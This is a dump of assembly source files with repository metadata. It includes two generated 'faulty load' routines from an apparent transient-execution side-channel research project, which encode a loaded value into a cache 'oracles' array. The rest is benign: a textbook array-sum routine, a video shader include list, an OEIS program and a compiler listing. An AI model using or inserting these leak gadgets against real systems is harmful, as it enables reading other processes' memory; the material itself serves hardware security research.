9d54ac6440396a030eb49ce70766e9d34131e134
| 7,135
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_st_sm_/i3-7100_9_0x84_notsx.log_21829_2960.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_sm_/i3-7100_9_0x84_notsx.log_21829_2960.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_sm_/i3-7100_9_0x84_notsx.log_21829_2960.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x6d99, %r13
nop
nop
nop
nop
dec %rbx
movb $0x61, (%r13)
nop
nop
nop
xor %rsi, %rsi
lea addresses_WC_ht+0x3799, %r10
nop
xor %rdi, %rdi
movl $0x61626364, (%r10)
and %r10, %r10
lea addresses_A_ht+0x16231, %rax
xor %rbp, %rbp
movw $0x6162, (%rax)
nop
add $26009, %rbp
lea addresses_UC_ht+0x9999, %rax
clflush (%rax)
nop
nop
nop
nop
nop
sub %rdi, %rdi
mov (%rax), %r13w
nop
nop
nop
nop
cmp $51741, %rsi
lea addresses_normal_ht+0x9db9, %rsi
lea addresses_D_ht+0x10e99, %rdi
clflush (%rdi)
nop
nop
add $12108, %rax
mov $121, %rcx
rep movsl
nop
nop
nop
sub %rcx, %rcx
lea addresses_normal_ht+0x13b8d, %rsi
nop
nop
nop
inc %rbp
movb $0x61, (%rsi)
nop
dec %rcx
lea addresses_WC_ht+0x1b299, %r13
and %rcx, %rcx
movb (%r13), %al
nop
nop
nop
nop
inc %r13
lea addresses_WC_ht+0x16a99, %rcx
nop
nop
nop
nop
add %rdi, %rdi
mov $0x6162636465666768, %rsi
movq %rsi, %xmm5
vmovups %ymm5, (%rcx)
nop
nop
nop
nop
inc %rcx
lea addresses_WT_ht+0x11a5a, %r10
nop
nop
nop
nop
nop
xor $7467, %rax
vmovups (%r10), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %rcx
nop
nop
nop
nop
nop
cmp %rbp, %rbp
lea addresses_UC_ht+0x3599, %rax
nop
nop
nop
add $36078, %rcx
movl $0x61626364, (%rax)
nop
nop
sub %rcx, %rcx
lea addresses_D_ht+0x12d99, %rcx
nop
nop
nop
nop
nop
dec %rbx
mov (%rcx), %rbp
and $26733, %rsi
lea addresses_A_ht+0x3e99, %rdi
sub $26640, %r10
mov $0x6162636465666768, %rsi
movq %rsi, %xmm5
and $0xffffffffffffffc0, %rdi
vmovntdq %ymm5, (%rdi)
nop
nop
add %rbx, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r8
push %rax
push %rbp
push %rdx
// Store
lea addresses_UC+0xed99, %rbp
clflush (%rbp)
nop
xor %r12, %r12
mov $0x5152535455565758, %r11
movq %r11, (%rbp)
add $18041, %r8
// Faulty Load
lea addresses_UC+0xed99, %rax
clflush (%rax)
nop
dec %r14
mov (%rax), %bp
lea oracles, %r14
and $0xff, %rbp
shlq $12, %rbp
mov (%r14,%rbp,1), %rbp
pop %rdx
pop %rbp
pop %rax
pop %r8
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_UC', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_UC', 'same': True, 'size': 2, 'congruent': 0, 'NT': True, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A_ht', 'same': True, 'size': 32, 'congruent': 6, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 35.321782
| 2,999
| 0.655781
|
4d56d89fc330883d60ffae8818f9c73f8d716de3
| 711
|
asm
|
Assembly
|
Irvine/Examples/ch08/32 bit/ModSum32_traditional/ModSum/_arrysum.asm
|
alieonsido/ASM_TESTING
|
4d5e2a3e11d921eeb50d69bbe4352cfc0e99afa7
|
[
"Apache-2.0"
] | null | null | null |
Irvine/Examples/ch08/32 bit/ModSum32_traditional/ModSum/_arrysum.asm
|
alieonsido/ASM_TESTING
|
4d5e2a3e11d921eeb50d69bbe4352cfc0e99afa7
|
[
"Apache-2.0"
] | null | null | null |
Irvine/Examples/ch08/32 bit/ModSum32_traditional/ModSum/_arrysum.asm
|
alieonsido/ASM_TESTING
|
4d5e2a3e11d921eeb50d69bbe4352cfc0e99afa7
|
[
"Apache-2.0"
] | null | null | null |
; ArraySum Procedure (_arrysum.asm)
INCLUDE Irvine32.inc
.code
ArraySum PROC
;
; Calculates the sum of an array of 32-bit integers.
; Receives:
; ptrArray ; pointer to array
; arraySize ; size of array (DWORD)
; Returns: EAX = sum
;-----------------------------------------------------
ptrArray EQU [ebp+8]
arraySize EQU [ebp+12]
enter 0,0
push ecx ; don't push EAX
push esi
mov eax,0 ; set the sum to zero
mov esi,ptrArray
mov ecx,arraySize
cmp ecx,0 ; array size <= 0?
jle L2 ; yes: quit
L1: add eax,[esi] ; add each integer to sum
add esi,4 ; point to next integer
loop L1 ; repeat for array size
L2: pop esi
pop ecx ; return sum in EAX
leave
ret 8
ArraySum ENDP
END
| 19.75
| 54
| 0.625879
|
bd68a92ea822dae02496e62ace43f9e3c7a3d16d
| 343
|
asm
|
Assembly
|
src/shaders/post_processing/gen5_6/pa_load_save_nv12.asm
|
digetx/intel-vaapi-driver
|
d87db2111a33b157d1913415f15d201cc5182850
|
[
"MIT"
] | 192
|
2018-01-26T11:51:55.000Z
|
2022-03-25T20:04:19.000Z
|
src/shaders/post_processing/gen5_6/pa_load_save_nv12.asm
|
digetx/intel-vaapi-driver
|
d87db2111a33b157d1913415f15d201cc5182850
|
[
"MIT"
] | 256
|
2017-01-23T02:10:27.000Z
|
2018-01-23T10:00:05.000Z
|
src/shaders/post_processing/gen5_6/pa_load_save_nv12.asm
|
digetx/intel-vaapi-driver
|
d87db2111a33b157d1913415f15d201cc5182850
|
[
"MIT"
] | 64
|
2018-01-30T19:51:53.000Z
|
2021-11-24T01:26:14.000Z
|
// Module name: PA_LOAD_SAVE_NV12
.kernel PA_LOAD_SAVE_NV12
.code
#include "SetupVPKernel.asm"
#include "Multiple_Loop_Head.asm"
#include "PA_Load_8x8.asm"
#include "PL8x8_PL8x4.asm"
#include "PL8x4_Save_NV12.asm"
#include "Multiple_Loop.asm"
END_THREAD // End of Thread
.end_code
.end_kernel
// end of nv12_load_save_pl1.asm
| 18.052632
| 33
| 0.758017
|
c21ca9dfbbe18610a102239e5fd7ad568d900003
| 151
|
asm
|
Assembly
|
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/mak/kart-effect-e.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/mak/kart-effect-e.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/mak/kart-effect-e.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
Name: kart-effect-e.asm
Type: file
Size: 27431
Last-Modified: '1992-11-18T01:23:56Z'
SHA-1: 8C70EF278037D8A03694A83A6247BDB87CCAD9AD
Description: null
| 21.571429
| 47
| 0.807947
|
569da3565ac1cb78491200d93cd94c4bb0e99daa
| 660
|
asm
|
Assembly
|
oeis/166/A166754.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/166/A166754.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/166/A166754.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A166754: a(n) = 4*A061547(n+1) - 3*A166753(n).
; Submitted by Jamie Morken(s3)
; 1,2,9,22,53,114,241,494,1005,2026,4073,8166,16357,32738,65505,131038,262109,524250,1048537,2097110,4194261,8388562,16777169,33554382,67108813,134217674,268435401,536870854,1073741765,2147483586,4294967233,8589934526,17179869117,34359738298,68719476665,137438953398,274877906869,549755813810,1099511627697,2199023255470,4398046511021,8796093022122,17592186044329,35184372088742,70368744177573,140737488355234,281474976710561,562949953421214,1125899906842525,2251799813685146,4503599627370393
mov $1,$0
mov $0,2
add $1,1
pow $0,$1
sub $0,$1
mul $0,2
mod $1,2
add $0,$1
sub $0,2
| 47.142857
| 492
| 0.813636
|
85ba1e2fa2826f12976c5bbe95e4706d1cd85017
| 8,976
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1251.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1251.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1251.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %r8
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x8d51, %r9
cmp $8142, %rbx
mov (%r9), %ecx
dec %rbx
lea addresses_A_ht+0x14fe1, %r12
nop
and $32259, %r15
mov (%r12), %r8w
nop
nop
nop
cmp %r8, %r8
lea addresses_A_ht+0x17ec1, %rsi
lea addresses_normal_ht+0x13d31, %rdi
nop
xor %r15, %r15
mov $90, %rcx
rep movsq
nop
nop
nop
xor %r8, %r8
lea addresses_normal_ht+0x8731, %rcx
nop
nop
nop
and $16384, %r9
movb (%rcx), %r8b
nop
and %rcx, %rcx
lea addresses_UC_ht+0x5f51, %rsi
lea addresses_UC_ht+0x10d31, %rdi
nop
cmp %r9, %r9
mov $110, %rcx
rep movsw
nop
lfence
lea addresses_D_ht+0xcab1, %r15
sub %r8, %r8
vmovups (%r15), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %r9
nop
nop
nop
nop
and %r15, %r15
lea addresses_normal_ht+0xdd31, %rsi
lea addresses_D_ht+0x16ed1, %rdi
nop
cmp $2121, %r9
mov $110, %rcx
rep movsb
nop
nop
nop
xor $32507, %r12
lea addresses_D_ht+0x1a731, %rsi
lea addresses_normal_ht+0x1d00d, %rdi
clflush (%rdi)
cmp %r15, %r15
mov $8, %rcx
rep movsb
nop
nop
nop
sub %r15, %r15
lea addresses_WC_ht+0xf0b1, %r9
nop
sub %rcx, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm2
movups %xmm2, (%r9)
nop
sub %r8, %r8
lea addresses_normal_ht+0x6531, %r15
nop
nop
nop
nop
nop
sub $4359, %rbx
mov $0x6162636465666768, %r9
movq %r9, (%r15)
nop
nop
nop
nop
add $51101, %rsi
lea addresses_WC_ht+0xa2e9, %rsi
lea addresses_normal_ht+0x3fc9, %rdi
nop
nop
add $54841, %r15
mov $28, %rcx
rep movsb
nop
nop
nop
and %rcx, %rcx
lea addresses_UC_ht+0x6a31, %rsi
lea addresses_D_ht+0x1ba31, %rdi
clflush (%rsi)
nop
nop
nop
nop
xor %rbx, %rbx
mov $18, %rcx
rep movsb
nop
nop
nop
nop
add $2830, %r15
lea addresses_UC_ht+0x10131, %rsi
nop
dec %r15
mov (%rsi), %r8
nop
nop
nop
nop
nop
dec %rsi
lea addresses_WT_ht+0x7bd, %rsi
nop
nop
and $54744, %rcx
vmovups (%rsi), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %rdi
nop
nop
nop
nop
add $61459, %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %r8
push %r9
push %rax
push %rbx
push %rdi
push %rsi
// Store
lea addresses_D+0x189b1, %rdi
cmp %r8, %r8
mov $0x5152535455565758, %rsi
movq %rsi, %xmm4
and $0xffffffffffffffc0, %rdi
movntdq %xmm4, (%rdi)
nop
nop
nop
xor %rax, %rax
// Store
lea addresses_WC+0x19fb9, %rdi
nop
nop
nop
sub %rsi, %rsi
movb $0x51, (%rdi)
nop
nop
nop
nop
sub $14687, %rbx
// Store
mov $0xfb1, %rax
clflush (%rax)
nop
inc %r9
mov $0x5152535455565758, %r8
movq %r8, %xmm2
vmovups %ymm2, (%rax)
nop
nop
nop
nop
nop
and %rsi, %rsi
// Store
mov $0x3446dd00000001c9, %r15
cmp $35922, %rbx
mov $0x5152535455565758, %rsi
movq %rsi, %xmm0
vmovups %ymm0, (%r15)
nop
nop
nop
nop
nop
cmp %r8, %r8
// Store
lea addresses_UC+0x7d31, %rdi
nop
nop
nop
sub %rsi, %rsi
mov $0x5152535455565758, %r9
movq %r9, (%rdi)
nop
nop
add %rax, %rax
// Faulty Load
lea addresses_WT+0x16531, %rax
nop
nop
nop
nop
xor $49153, %r15
mov (%rax), %ebx
lea oracles, %rax
and $0xff, %rbx
shlq $12, %rbx
mov (%rax,%rbx,1), %rbx
pop %rsi
pop %rdi
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': True, 'type': 'addresses_D', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WC', 'size': 1, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_P', 'size': 32, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_NC', 'size': 32, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': True, 'type': 'addresses_UC', 'size': 8, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}}
{'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}}
{'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}}
{'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 31.605634
| 2,999
| 0.655192
|
4d86c53565d72eab8d50c73de683f348229f8b37
| 28,176
|
asm
|
Assembly
|
Source/vs/notifymyandroid.asm
|
LeGone/daspirum
|
21b904140fd51e881f38d43a8d0af0befdfc5cea
|
[
"MIT"
] | null | null | null |
Source/vs/notifymyandroid.asm
|
LeGone/daspirum
|
21b904140fd51e881f38d43a8d0af0befdfc5cea
|
[
"MIT"
] | null | null | null |
Source/vs/notifymyandroid.asm
|
LeGone/daspirum
|
21b904140fd51e881f38d43a8d0af0befdfc5cea
|
[
"MIT"
] | null | null | null |
; Listing generated by Microsoft (R) Optimizing Compiler Version 16.00.40219.01
TITLE C:\Work\daspirum\Source\src\notifymyandroid.cpp
.686P
.XMM
include listing.inc
.model flat
INCLUDELIB OLDNAMES
ORG $+2
$SG-77049 DB 'www.notifymyandroid.com', 00H
$SG-77050 DB '%20', 00H
$SG-77051 DB 0dH, 0aH, 0dH, 0aH, 00H
ORG $+3
$SG-77052 DB '&application=daspirum&event=Battlefield-3-Event&descript'
DB 'ion=', 00H
ORG $+3
$SG-77053 DB 'GET /publicapi/notify?apikey=', 00H
ORG $+2
$SG-77054 DB 'rror', 00H
ORG $+3
$SG-77055 DB 'notifymyandroid::notificate', 00H
$SG-77056 DB '..\src\notifymyandroid.cpp', 00H
ORG $+1
$SG-77101 DB '.', 0aH, 00H
ORG $+1
$SG-77102 DB 0aH, 0aH, 'Error detected at line ', 00H
ORG $+2
$SG-77103 DB '.', 0aH, 00H
ORG $+1
$SG-77104 DB 'e:\library\dlib\dlib\set/set_kernel_c.h', 00H
$SG-77105 DB 'Error detected in file ', 00H
$SG-77106 DB '.', 0aH, 0aH, 00H
$SG-77108 DB 'Error detected in function ', 00H
$SG-77107 DB 'void __thiscall dlib::set_kernel_c<class dlib::set_kerne'
